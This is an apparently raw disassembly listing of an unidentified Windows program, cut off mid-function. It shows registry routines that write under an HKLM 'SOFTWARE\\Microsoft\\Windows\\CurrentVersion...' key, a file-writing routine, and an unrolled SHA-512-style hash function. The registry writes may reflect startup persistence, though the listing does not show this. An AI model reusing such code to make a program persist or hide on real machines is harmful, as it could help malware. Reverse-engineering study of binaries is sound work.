sub_40518A	proc near		; CODE XREF: sub_40158F+119p
					; sub_404E45+109p ...

var_4		= dword	ptr -4
arg_0		= byte ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	1
		push	0
		push	[ebp+arg_4]
		push	80000002h
		call	ds:off_41E02C
		test	eax, eax
		jnz	short loc_4051D2
		lea	eax, [ebp+arg_10]
		push	eax
		push	[ebp+arg_C]
		lea	eax, [ebp+arg_0]
		push	eax
		push	0
		push	[ebp+arg_8]
		push	[ebp+var_4]
		call	ds:off_41E008
		test	eax, eax
		jnz	short loc_4051D2
		push	[ebp+var_4]
		call	ds:dword_41E010	; RegCloseKey
		mov	al, 1
		leave
		retn
; ---------------------------------------------------------------------------

loc_4051D2:				; CODE XREF: sub_40518A+1Cj
					; sub_40518A+39j
		push	[ebp+var_4]
		call	ds:dword_41E010	; RegCloseKey
		push	[ebp+arg_10]
		push	0
		push	[ebp+arg_C]
		call	sub_40CBA0
		add	esp, 0Ch
		xor	al, al
		leave
		retn
sub_40518A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4051EF	proc near		; CODE XREF: sub_404E45+129p
					; sub_404FAC+12Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		xor	ebx, ebx
		push	ebx
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	0F003Fh
		push	ebx
		push	ebx
		push	ebx
		push	offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"...
		push	80000002h
		call	ds:off_41E004
		test	eax, eax
		jz	short loc_405226
		push	[ebp+var_4]
		call	ds:dword_41E010	; RegCloseKey
		xor	al, al

loc_405223:				; CODE XREF: sub_4051EF+62j
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_405226:				; CODE XREF: sub_4051EF+27j
		push	[ebp+arg_4]
		call	sub_40C9B0
		pop	ecx
		push	eax
		push	[ebp+arg_4]
		push	1
		push	ebx
		push	[ebp+arg_0]
		push	[ebp+var_4]
		call	ds:off_41E00C
		test	eax, eax
		jz	short loc_405253

loc_405246:				; CODE XREF: sub_4051EF+66j
		push	[ebp+var_4]
		call	ds:dword_41E010	; RegCloseKey
		mov	al, bl
		jmp	short loc_405223
; ---------------------------------------------------------------------------

loc_405253:				; CODE XREF: sub_4051EF+55j
		mov	bl, 1
		jmp	short loc_405246
sub_4051EF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405257	proc near		; CODE XREF: sub_405257+D5p
					; .text:00409DB5p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= word ptr  14h
arg_14		= dword	ptr  1Ch
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= byte ptr  30h
arg_2B		= byte ptr  33h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_28], 0
		push	ebx
		push	esi
		push	edi
		jz	short loc_405270
		mov	ecx, [ebp+arg_4]
		shr	ecx, 18h
		or	cl, 1
		jmp	short loc_405276
; ---------------------------------------------------------------------------

loc_405270:				; CODE XREF: sub_405257+Cj
		mov	cl, byte ptr [ebp+arg_4+3]
		and	cl, 0FEh

loc_405276:				; CODE XREF: sub_405257+17j
		movzx	eax, word ptr [ebp+arg_24]
		mov	ebx, [ebp+arg_20]
		lea	edx, [ebx+18h]
		cmp	edx, eax
		ja	short loc_405293
		lea	edx, [ebx+18h]
		mov	[ebp+arg_14], ebx
		or	cl, 2
		mov	[ebp+arg_2B], 0
		jmp	short loc_4052A4
; ---------------------------------------------------------------------------

loc_405293:				; CODE XREF: sub_405257+2Bj
		mov	dx, word ptr [ebp+arg_24]
		add	eax, 0FFFFFFE8h
		mov	[ebp+arg_14], eax
		and	cl, 0FDh
		mov	[ebp+arg_2B], 1

loc_4052A4:				; CODE XREF: sub_405257+3Aj
		movzx	eax, dx
		push	eax
		mov	byte ptr [ebp+arg_4+3],	cl
		mov	[ebp+arg_C], dx
		mov	[ebp+var_4], eax
		call	sub_40DC83
		test	eax, eax
		pop	ecx
		mov	[ebp+arg_20], eax
		jz	loc_405343
		push	6
		pop	ecx
		mov	edi, eax
		lea	esi, [ebp+arg_4]
		rep movsd
		mov	edi, [ebp+arg_14]
		mov	esi, [ebp+arg_1C]
		push	edi
		add	eax, 18h
		push	esi
		push	eax
		call	sub_40CC20
		add	esp, 0Ch
		push	0
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+var_4]
		push	[ebp+arg_20]
		push	[ebp+arg_0]
		call	ds:dword_41E088	; WriteFile
		test	eax, eax
		jz	short loc_40533A
		mov	eax, [ebp+var_4]
		cmp	[ebp+var_8], eax
		jnz	short loc_40533A
		push	[ebp+arg_20]
		call	sub_40DBA6
		cmp	[ebp+arg_2B], 0
		pop	ecx
		jz	short loc_405336
		push	0
		push	[ebp+arg_24]
		sub	ebx, edi
		push	ebx
		add	edi, esi
		push	edi
		sub	esp, 18h
		push	6
		pop	ecx
		mov	edi, esp
		push	[ebp+arg_0]
		lea	esi, [ebp+arg_4]
		rep movsd
		call	sub_405257
		add	esp, 2Ch
		jmp	short loc_405345
; ---------------------------------------------------------------------------

loc_405336:				; CODE XREF: sub_405257+B8j
		mov	al, 1
		jmp	short loc_405345
; ---------------------------------------------------------------------------

loc_40533A:				; CODE XREF: sub_405257+A1j
					; sub_405257+A9j
		push	[ebp+arg_20]
		call	sub_40DBA6
		pop	ecx

loc_405343:				; CODE XREF: sub_405257+66j
		xor	al, al

loc_405345:				; CODE XREF: sub_405257+DDj
					; sub_405257+E1j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_405257	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_405350	proc near		; CODE XREF: sub_407A60+C3p
					; sub_407B60+BEp ...

var_160		= dword	ptr -160h
var_15C		= dword	ptr -15Ch
var_158		= dword	ptr -158h
var_154		= dword	ptr -154h
var_150		= dword	ptr -150h
var_14C		= dword	ptr -14Ch
var_148		= dword	ptr -148h
var_144		= dword	ptr -144h
var_140		= dword	ptr -140h
var_13C		= dword	ptr -13Ch
var_138		= dword	ptr -138h
var_134		= dword	ptr -134h
var_130		= dword	ptr -130h
var_12C		= dword	ptr -12Ch
var_128		= dword	ptr -128h
var_124		= dword	ptr -124h
var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_114		= dword	ptr -114h
var_110		= dword	ptr -110h
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
var_FC		= dword	ptr -0FCh
var_F8		= dword	ptr -0F8h
var_F4		= dword	ptr -0F4h
var_F0		= dword	ptr -0F0h
var_EC		= dword	ptr -0ECh
var_E8		= dword	ptr -0E8h
var_E4		= dword	ptr -0E4h
var_E0		= dword	ptr -0E0h
var_DC		= dword	ptr -0DCh
var_D8		= dword	ptr -0D8h
var_D4		= dword	ptr -0D4h
var_D0		= dword	ptr -0D0h
var_CC		= dword	ptr -0CCh
var_C8		= dword	ptr -0C8h
var_C4		= dword	ptr -0C4h
var_C0		= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_B0		= dword	ptr -0B0h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= dword	ptr -0A0h
var_9C		= dword	ptr -9Ch
var_98		= dword	ptr -98h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		sub	esp, 160h
		mov	eax, [esp+160h+arg_0]
		mov	edx, [eax+54h]
		push	ebx
		mov	[esp+164h+var_FC], edx
		mov	edx, [eax+5Ch]
		push	ebp
		push	esi
		mov	[esp+16Ch+var_10C], edx
		mov	edx, [eax+64h]
		push	edi
		lea	esi, [eax+10h]
		mov	[esp+170h+var_4], esi
		mov	ecx, 10h
		lea	edi, [esp+170h+var_158]
		rep movsd
		mov	ecx, [eax+50h]
		mov	[esp+170h+var_100], ecx
		mov	ecx, [eax+58h]
		mov	[esp+170h+var_110], ecx
		mov	ecx, [eax+60h]
		mov	[esp+170h+var_108], ecx
		mov	ecx, [eax+68h]
		mov	[esp+170h+var_104], edx
		mov	edx, [eax+6Ch]
		mov	[esp+170h+var_B8], ecx
		mov	ecx, [eax+70h]
		mov	[esp+170h+var_B4], edx
		mov	edx, [eax+74h]
		mov	[esp+170h+var_A8], ecx
		mov	ecx, [eax+78h]
		mov	[esp+170h+var_A4], edx
		mov	edx, [eax+7Ch]
		mov	[esp+170h+var_D0], ecx
		mov	ecx, [eax+80h]
		mov	[esp+170h+var_CC], edx
		mov	edx, [eax+84h]
		mov	esi, [eax+0C4h]
		mov	[esp+170h+var_D8], ecx
		mov	ecx, [eax+88h]
		mov	[esp+170h+var_D4], edx
		mov	edx, [eax+8Ch]
		mov	[esp+170h+var_118], ecx
		mov	ecx, [eax+90h]
		mov	[esp+170h+var_114], edx
		mov	edx, [eax+94h]
		mov	[esp+170h+var_C8], ecx
		mov	ecx, [eax+98h]
		mov	[esp+170h+var_C4], edx
		mov	edx, [eax+9Ch]
		mov	[esp+170h+var_F0], ecx
		mov	ecx, [eax+0A0h]
		mov	[esp+170h+var_EC], edx
		mov	edx, [eax+0A4h]
		mov	[esp+170h+var_E8], ecx
		mov	ecx, [eax+0A8h]
		mov	[esp+170h+var_E4], edx
		mov	edx, [eax+0ACh]
		mov	[esp+170h+var_F8], ecx
		mov	ecx, [eax+0B0h]
		mov	[esp+170h+var_F4], edx
		mov	edx, [eax+0B4h]
		mov	[esp+170h+var_B0], ecx
		mov	ecx, [eax+0B8h]
		mov	[esp+170h+var_AC], edx
		mov	edx, [eax+0BCh]
		mov	[esp+170h+var_C0], ecx
		mov	ecx, [eax+0C0h]
		mov	[esp+170h+var_BC], edx
		mov	edx, [eax+0C8h]
		mov	eax, [eax+0CCh]
		xor	edi, edi
		mov	[esp+170h+var_15C], edi
		mov	[esp+170h+var_A0], ecx
		mov	[esp+170h+var_9C], esi
		mov	[esp+170h+var_E0], edx
		mov	[esp+170h+var_DC], eax
		jmp	short loc_4054EE
; ---------------------------------------------------------------------------
		align 10h

loc_4054E0:				; CODE XREF: sub_405350+2680j
		mov	ecx, [esp+170h+var_A0]
		mov	esi, [esp+170h+var_9C]

loc_4054EE:				; CODE XREF: sub_405350+18Aj
		test	edi, edi
		mov	eax, [esp+170h+var_138]
		mov	edx, [esp+170h+var_134]
		jz	loc_4055D8
		mov	edi, ecx
		xor	eax, eax
		mov	ebx, esi
		shrd	edi, ebx, 13h
		or	eax, edi
		mov	ebp, ecx
		mov	edx, ecx
		mov	edi, esi
		shld	esi, ebp, 3
		shr	ebx, 13h
		shl	edx, 0Dh
		or	edx, ebx
		add	ebp, ebp
		xor	ebx, ebx
		or	ebx, esi
		mov	esi, [esp+170h+var_9C]
		shrd	ecx, esi, 6
		add	ebp, ebp
		add	ebp, ebp
		shr	edi, 1Dh
		or	edi, ebp
		xor	eax, edi
		xor	eax, ecx
		mov	ecx, [esp+170h+var_10C]
		xor	edx, ebx
		mov	[esp+170h+var_160], eax
		mov	eax, [esp+170h+var_110]
		mov	ebp, ecx
		mov	ebx, eax
		shrd	ebx, ebp, 8
		shr	esi, 6
		xor	edx, esi
		xor	edi, edi
		or	edi, ebx
		mov	esi, eax
		mov	ebx, eax
		shrd	eax, ecx, 1
		shl	esi, 18h
		shr	ebp, 8
		or	esi, ebp
		shr	ecx, 1
		xor	ebp, ebp
		or	ebp, eax
		mov	eax, [esp+170h+var_10C]
		shl	ebx, 1Fh
		or	ebx, ecx
		mov	ecx, [esp+170h+var_110]
		shrd	ecx, eax, 7
		shr	eax, 7
		xor	edi, ebp
		xor	esi, ebx
		xor	esi, eax
		mov	eax, [esp+170h+arg_0]
		xor	edi, ecx
		mov	ecx, [esp+170h+var_160]
		add	ecx, edi
		adc	edx, esi
		add	ecx, [esp+170h+var_100]
		adc	edx, [esp+170h+var_FC]
		add	ecx, [esp+170h+var_F0]
		adc	edx, [esp+170h+var_EC]
		mov	[eax+50h], ecx
		mov	[eax+54h], edx
		mov	eax, edx
		mov	edx, [esp+170h+var_134]
		mov	[esp+170h+var_FC], eax
		mov	[esp+170h+var_54], eax
		mov	eax, [esp+170h+var_138]
		mov	[esp+170h+var_100], ecx
		mov	[esp+170h+var_58], ecx
		jmp	short loc_4055EE
; ---------------------------------------------------------------------------

loc_4055D8:				; CODE XREF: sub_405350+1A8j
		mov	ecx, [esp+170h+var_100]
		mov	[esp+170h+var_58], ecx
		mov	ecx, [esp+170h+var_FC]
		mov	[esp+170h+var_54], ecx

loc_4055EE:				; CODE XREF: sub_405350+286j
		mov	ebx, edx
		mov	esi, edx
		xor	edi, edi
		mov	ecx, eax
		shld	ebx, ecx, 17h
		or	edi, ebx
		shl	ecx, 17h
		xor	ebx, ebx
		shr	esi, 9
		or	esi, ecx
		mov	ebp, eax
		shrd	ebp, edx, 12h
		or	ebx, ebp
		mov	ebp, [esp+170h+var_134]
		xor	esi, ebx
		shr	edx, 12h
		mov	ecx, eax
		shl	ecx, 0Eh
		or	ecx, edx
		xor	edi, ecx
		xor	ecx, ecx
		mov	ebx, eax
		shrd	ebx, ebp, 0Eh
		or	ecx, ebx
		xor	esi, ecx
		mov	ecx, [esp+170h+var_134]
		shr	ebp, 0Eh
		mov	edx, eax
		shl	edx, 12h
		or	edx, ebp
		mov	ebp, [esp+170h+var_130]
		xor	edi, edx
		and	ebp, eax
		mov	edx, eax
		mov	eax, [esp+170h+var_12C]
		and	eax, ecx
		mov	ebx, ecx
		mov	ecx, [esp+170h+var_11C]
		not	edx
		and	edx, [esp+170h+var_128]
		not	ebx
		and	ebx, [esp+170h+var_124]
		xor	edx, ebp
		xor	ebx, eax
		mov	eax, [esp+170h+var_15C]
		add	esi, edx
		adc	edi, ebx
		add	esi, ds:dword_420620[eax*8]
		adc	edi, ds:dword_420624[eax*8]
		add	esi, [esp+170h+var_58]
		mov	eax, [esp+170h+var_120]
		adc	edi, [esp+170h+var_54]
		add	eax, esi
		adc	ecx, edi
		add	[esp+170h+var_140], eax
		mov	[esp+170h+var_11C], ecx
		mov	[esp+170h+var_120], eax
		adc	[esp+170h+var_13C], ecx
		mov	eax, [esp+170h+var_154]
		mov	ecx, [esp+170h+var_158]
		mov	edx, ecx
		mov	esi, ecx
		mov	ebx, eax
		shrd	edx, ebx, 1Ch
		xor	edi, edi
		or	edi, edx
		mov	ebp, eax
		shld	ebp, ecx, 1Eh
		shr	ebx, 1Ch
		shl	esi, 4
		or	esi, ebx
		mov	edx, eax
		shl	ecx, 1Eh
		shr	edx, 2
		xor	ebx, ebx
		or	edx, ecx
		or	ebx, ebp
		mov	ecx, eax
		xor	edi, edx
		xor	esi, ebx
		shr	ecx, 7
		mov	ebx, [esp+170h+var_158]
		mov	ebp, eax
		shld	ebp, ebx, 19h
		shl	ebx, 19h
		or	ecx, ebx
		xor	edx, edx
		or	edx, ebp
		mov	ebp, [esp+170h+var_14C]
		xor	edi, ecx
		mov	ecx, [esp+170h+var_150]
		xor	esi, edx
		mov	edx, [esp+170h+var_158]
		mov	ebx, ecx
		xor	ebx, edx
		and	ebx, [esp+170h+var_148]
		and	ecx, edx
		mov	edx, [esp+170h+var_14C]
		xor	ebp, eax
		and	ebp, [esp+170h+var_144]
		and	edx, eax
		xor	ebx, ecx
		xor	ebp, edx
		add	edi, ebx
		adc	esi, ebp
		add	[esp+170h+var_120], edi
		adc	[esp+170h+var_11C], esi
		cmp	[esp+170h+var_15C], 0
		jz	loc_405804
		mov	eax, [esp+170h+var_E0]
		mov	ecx, [esp+170h+var_DC]
		mov	ebx, ecx
		mov	edi, eax
		shrd	edi, ebx, 13h
		xor	esi, esi
		or	esi, edi
		mov	edi, ecx
		shr	ebx, 13h
		mov	edx, eax
		mov	ebp, eax
		shld	ecx, ebp, 3
		shl	edx, 0Dh
		or	edx, ebx
		xor	ebx, ebx
		or	ebx, ecx
		mov	ecx, [esp+170h+var_DC]
		shrd	eax, ecx, 6
		add	ebp, ebp
		add	ebp, ebp
		add	ebp, ebp
		shr	edi, 1Dh
		or	edi, ebp
		xor	esi, edi
		xor	esi, eax
		mov	eax, [esp+170h+var_108]
		xor	edx, ebx
		shr	ecx, 6
		xor	edx, ecx
		mov	ecx, [esp+170h+var_104]
		mov	ebp, ecx
		mov	ebx, eax
		shrd	ebx, ebp, 8
		xor	edi, edi
		or	edi, ebx
		mov	[esp+170h+var_160], esi
		mov	esi, eax
		mov	ebx, eax
		shrd	eax, ecx, 1
		shl	esi, 18h
		shr	ebp, 8
		or	esi, ebp
		shr	ecx, 1
		xor	ebp, ebp
		or	ebp, eax
		mov	eax, [esp+170h+var_108]
		shl	ebx, 1Fh
		or	ebx, ecx
		mov	ecx, [esp+170h+var_104]
		shrd	eax, ecx, 7
		shr	ecx, 7
		xor	esi, ebx
		xor	edi, ebp
		xor	esi, ecx
		mov	ecx, [esp+170h+var_160]
		xor	edi, eax
		mov	eax, [esp+170h+arg_0]
		add	ecx, edi
		adc	edx, esi
		add	ecx, [esp+170h+var_E8]
		adc	edx, [esp+170h+var_E4]
		add	ecx, [esp+170h+var_110]
		adc	edx, [esp+170h+var_10C]
		mov	[eax+58h], ecx
		mov	[eax+5Ch], edx
		mov	eax, edx
		mov	[esp+170h+var_110], ecx
		mov	[esp+170h+var_10C], eax
		mov	[esp+170h+var_28], ecx
		jmp	short loc_405813
; ---------------------------------------------------------------------------

loc_405804:				; CODE XREF: sub_405350+3D5j
		mov	edx, [esp+170h+var_110]
		mov	eax, [esp+170h+var_10C]
		mov	[esp+170h+var_28], edx

loc_405813:				; CODE XREF: sub_405350+4B2j
		mov	ecx, [esp+170h+var_13C]
		mov	ebx, ecx
		mov	[esp+170h+var_24], eax
		mov	eax, [esp+170h+var_140]
		mov	edx, ecx
		xor	esi, esi
		shr	edx, 9
		mov	edi, eax
		shld	ebx, edi, 17h
		or	esi, ebx
		shl	edi, 17h
		or	edx, edi
		xor	ebx, ebx
		mov	ebp, eax
		shrd	ebp, ecx, 12h
		or	ebx, ebp
		mov	ebp, [esp+170h+var_13C]
		xor	edx, ebx
		shr	ecx, 12h
		mov	edi, eax
		shl	edi, 0Eh
		or	edi, ecx
		xor	esi, edi
		xor	edi, edi
		mov	ebx, eax
		shrd	ebx, ebp, 0Eh
		or	edi, ebx
		xor	edx, edi
		shr	ebp, 0Eh
		mov	ecx, eax
		shl	ecx, 12h
		or	ecx, ebp
		xor	esi, ecx
		mov	ecx, [esp+170h+var_13C]
		mov	ebx, ecx
		and	ecx, [esp+170h+var_134]
		mov	edi, eax
		and	eax, [esp+170h+var_138]
		not	ebx
		and	ebx, [esp+170h+var_12C]
		not	edi
		and	edi, [esp+170h+var_130]
		xor	ebx, ecx
		mov	ecx, [esp+170h+var_124]
		xor	edi, eax
		mov	eax, [esp+170h+var_15C]
		add	edx, edi
		adc	esi, ebx
		add	edx, ds:dword_420628[eax*8]
		adc	esi, ds:dword_42062C[eax*8]
		add	edx, [esp+170h+var_28]
		mov	eax, [esp+170h+var_128]
		adc	esi, [esp+170h+var_24]
		add	eax, edx
		adc	ecx, esi
		add	[esp+170h+var_148], eax
		mov	[esp+170h+var_124], ecx
		mov	[esp+170h+var_128], eax
		adc	[esp+170h+var_144], ecx
		mov	eax, [esp+170h+var_11C]
		mov	ecx, [esp+170h+var_120]
		mov	edx, ecx
		mov	ebx, eax
		shrd	edx, ebx, 1Ch
		mov	esi, ecx
		xor	edi, edi
		or	edi, edx
		mov	ebp, eax
		shld	ebp, ecx, 1Eh
		shr	ebx, 1Ch
		shl	esi, 4
		or	esi, ebx
		mov	edx, eax
		shl	ecx, 1Eh
		shr	edx, 2
		xor	ebx, ebx
		or	edx, ecx
		or	ebx, ebp
		xor	edi, edx
		xor	esi, ebx
		mov	ecx, eax
		mov	ebx, [esp+170h+var_120]
		xor	edx, edx
		mov	ebp, eax
		shld	ebp, ebx, 19h
		or	edx, ebp
		mov	ebp, [esp+170h+var_154]
		shl	ebx, 19h
		shr	ecx, 7
		or	ecx, ebx
		xor	esi, edx
		mov	edx, [esp+170h+var_158]
		xor	edi, ecx
		mov	ecx, [esp+170h+var_120]
		mov	ebx, edx
		xor	ebx, ecx
		and	ebx, [esp+170h+var_150]
		and	edx, ecx
		mov	ecx, [esp+170h+var_154]
		xor	ebp, eax
		and	ebp, [esp+170h+var_14C]
		and	ecx, eax
		xor	ebx, edx
		xor	ebp, ecx
		add	edi, ebx
		adc	esi, ebp
		add	[esp+170h+var_128], edi
		adc	[esp+170h+var_124], esi
		cmp	[esp+170h+var_15C], 0
		jz	loc_405A2E
		mov	eax, [esp+170h+var_B8]
		mov	ecx, [esp+170h+var_B4]
		mov	ebx, ecx
		mov	edi, eax
		shrd	edi, ebx, 8
		mov	ebp, eax
		shrd	ebp, ecx, 1
		xor	esi, esi
		or	esi, edi
		shr	ecx, 1
		mov	edi, eax
		mov	edx, eax
		shr	ebx, 8
		shl	edi, 1Fh
		or	edi, ecx
		mov	ecx, [esp+170h+var_B4]
		shrd	eax, ecx, 7
		shl	edx, 18h
		or	edx, ebx
		xor	ebx, ebx
		or	ebx, ebp
		xor	esi, ebx
		xor	esi, eax
		mov	eax, [esp+170h+var_100]
		xor	edx, edi
		shr	ecx, 7
		xor	edx, ecx
		mov	ecx, [esp+170h+var_FC]
		mov	ebx, eax
		mov	ebp, ecx
		shrd	ebx, ebp, 13h
		xor	edi, edi
		or	edi, ebx
		mov	ebx, ecx
		mov	[esp+170h+var_160], esi
		mov	esi, eax
		shld	ecx, eax, 3
		add	eax, eax
		add	eax, eax
		shl	esi, 0Dh
		shr	ebp, 13h
		or	esi, ebp
		add	eax, eax
		shr	ebx, 1Dh
		or	ebx, eax
		mov	eax, [esp+170h+var_100]
		xor	ebp, ebp
		or	ebp, ecx
		mov	ecx, [esp+170h+var_FC]
		shrd	eax, ecx, 6
		shr	ecx, 6
		xor	esi, ebp
		xor	edi, ebx
		xor	esi, ecx
		mov	ecx, [esp+170h+var_160]
		xor	edi, eax
		mov	eax, [esp+170h+arg_0]
		add	ecx, edi
		adc	edx, esi
		add	ecx, [esp+170h+var_F8]
		adc	edx, [esp+170h+var_F4]
		add	ecx, [esp+170h+var_108]
		adc	edx, [esp+170h+var_104]
		mov	[eax+60h], ecx
		mov	[eax+64h], edx
		mov	eax, edx
		mov	[esp+170h+var_108], ecx
		mov	[esp+170h+var_104], eax
		mov	[esp+170h+var_70], ecx
		jmp	short loc_405A3D
; ---------------------------------------------------------------------------

loc_405A2E:				; CODE XREF: sub_405350+605j
		mov	edx, [esp+170h+var_108]
		mov	eax, [esp+170h+var_104]
		mov	[esp+170h+var_70], edx

loc_405A3D:				; CODE XREF: sub_405350+6DCj
		mov	ecx, [esp+170h+var_144]
		mov	ebx, ecx
		mov	[esp+170h+var_6C], eax
		mov	eax, [esp+170h+var_148]
		mov	edx, ecx
		xor	esi, esi
		shr	edx, 9
		mov	edi, eax
		shld	ebx, edi, 17h
		or	esi, ebx
		shl	edi, 17h
		or	edx, edi
		xor	ebx, ebx
		mov	ebp, eax
		shrd	ebp, ecx, 12h
		or	ebx, ebp
		mov	ebp, [esp+170h+var_144]
		xor	edx, ebx
		shr	ecx, 12h
		mov	edi, eax
		shl	edi, 0Eh
		or	edi, ecx
		xor	esi, edi
		xor	edi, edi
		mov	ebx, eax
		shrd	ebx, ebp, 0Eh
		or	edi, ebx
		xor	edx, edi
		shr	ebp, 0Eh
		mov	ecx, eax
		shl	ecx, 12h
		or	ecx, ebp
		xor	esi, ecx
		mov	ecx, [esp+170h+var_144]
		mov	ebx, ecx
		and	ecx, [esp+170h+var_13C]
		mov	edi, eax
		and	eax, [esp+170h+var_140]
		not	ebx
		and	ebx, [esp+170h+var_134]
		not	edi
		and	edi, [esp+170h+var_138]
		xor	ebx, ecx
		mov	ecx, [esp+170h+var_12C]
		xor	edi, eax
		mov	eax, [esp+170h+var_15C]
		add	edx, edi
		adc	esi, ebx
		add	edx, ds:dword_420630[eax*8]
		adc	esi, ds:dword_420634[eax*8]
		add	edx, [esp+170h+var_70]
		mov	eax, [esp+170h+var_130]
		adc	esi, [esp+170h+var_6C]
		add	eax, edx
		adc	ecx, esi
		add	[esp+170h+var_150], eax
		mov	[esp+170h+var_12C], ecx
		mov	[esp+170h+var_130], eax
		adc	[esp+170h+var_14C], ecx
		mov	eax, [esp+170h+var_124]
		mov	ecx, [esp+170h+var_128]
		mov	edx, ecx
		mov	ebx, eax
		shrd	edx, ebx, 1Ch
		mov	esi, ecx
		xor	edi, edi
		or	edi, edx
		mov	ebp, eax
		shld	ebp, ecx, 1Eh
		shr	ebx, 1Ch
		shl	esi, 4
		or	esi, ebx
		mov	edx, eax
		shl	ecx, 1Eh
		shr	edx, 2
		xor	ebx, ebx
		or	edx, ecx
		or	ebx, ebp
		xor	edi, edx
		xor	esi, ebx
		mov	ecx, eax
		mov	ebx, [esp+170h+var_128]
		xor	edx, edx
		mov	ebp, eax
		shld	ebp, ebx, 19h
		or	edx, ebp
		mov	ebp, [esp+170h+var_11C]
		shl	ebx, 19h
		shr	ecx, 7
		or	ecx, ebx
		xor	esi, edx
		mov	edx, [esp+170h+var_120]
		xor	edi, ecx
		mov	ecx, [esp+170h+var_128]
		mov	ebx, edx
		xor	ebx, ecx
		and	ebx, [esp+170h+var_158]
		and	edx, ecx
		mov	ecx, [esp+170h+var_11C]
		xor	ebp, eax
		and	ebp, [esp+170h+var_154]
		and	ecx, eax
		xor	ebx, edx
		xor	ebp, ecx
		add	edi, ebx
		adc	esi, ebp
		add	[esp+170h+var_130], edi
		adc	[esp+170h+var_12C], esi
		cmp	[esp+170h+var_15C], 0
		jz	loc_405C6A
		mov	eax, [esp+170h+var_A8]
		mov	ecx, [esp+170h+var_A4]
		mov	ebx, ecx
		mov	edi, eax
		shrd	edi, ebx, 8
		mov	ebp, eax
		shrd	ebp, ecx, 1
		xor	esi, esi
		or	esi, edi
		shr	ecx, 1
		mov	edi, eax
		mov	edx, eax
		shr	ebx, 8
		shl	edi, 1Fh
		or	edi, ecx
		mov	ecx, [esp+170h+var_A4]
		shrd	eax, ecx, 7
		shl	edx, 18h
		or	edx, ebx
		xor	ebx, ebx
		or	ebx, ebp
		xor	esi, ebx
		xor	esi, eax
		mov	eax, [esp+170h+var_110]
		xor	edx, edi
		shr	ecx, 7
		xor	edx, ecx
		mov	ecx, [esp+170h+var_10C]
		mov	ebx, eax
		mov	ebp, ecx
		shrd	ebx, ebp, 13h
		xor	edi, edi
		or	edi, ebx
		mov	ebx, ecx
		mov	[esp+170h+var_160], esi
		mov	esi, eax
		shld	ecx, eax, 3
		add	eax, eax
		add	eax, eax
		shl	esi, 0Dh
		shr	ebp, 13h
		or	esi, ebp
		add	eax, eax
		shr	ebx, 1Dh
		or	ebx, eax
		mov	eax, [esp+170h+var_110]
		xor	ebp, ebp
		or	ebp, ecx
		mov	ecx, [esp+170h+var_10C]
		shrd	eax, ecx, 6
		shr	ecx, 6
		xor	esi, ebp
		xor	edi, ebx
		xor	esi, ecx
		mov	ecx, [esp+170h+var_160]
		xor	edi, eax
		mov	eax, [esp+170h+arg_0]
		add	ecx, edi
		adc	edx, esi
		add	ecx, [esp+170h+var_B0]
		adc	edx, [esp+170h+var_AC]
		add	ecx, [esp+170h+var_B8]
		adc	edx, [esp+170h+var_B4]
		mov	[eax+68h], ecx
		mov	[eax+6Ch], edx
		mov	eax, edx
		mov	[esp+170h+var_B8], ecx
		mov	[esp+170h+var_B4], eax
		mov	[esp+170h+var_38], ecx
		jmp	short loc_405C7F
; ---------------------------------------------------------------------------

loc_405C6A:				; CODE XREF: sub_405350+82Fj
		mov	edx, [esp+170h+var_B8]
		mov	eax, [esp+170h+var_B4]
		mov	[esp+170h+var_38], edx

loc_405C7F:				; CODE XREF: sub_405350+918j
		mov	ecx, [esp+170h+var_14C]
		mov	ebx, ecx
		mov	[esp+170h+var_34], eax
		mov	eax, [esp+170h+var_150]
		xor	esi, esi
		mov	edx, ecx
		mov	edi, eax
		shld	ebx, edi, 17h
		or	esi, ebx
		shl	edi, 17h
		xor	ebx, ebx
		shr	edx, 9
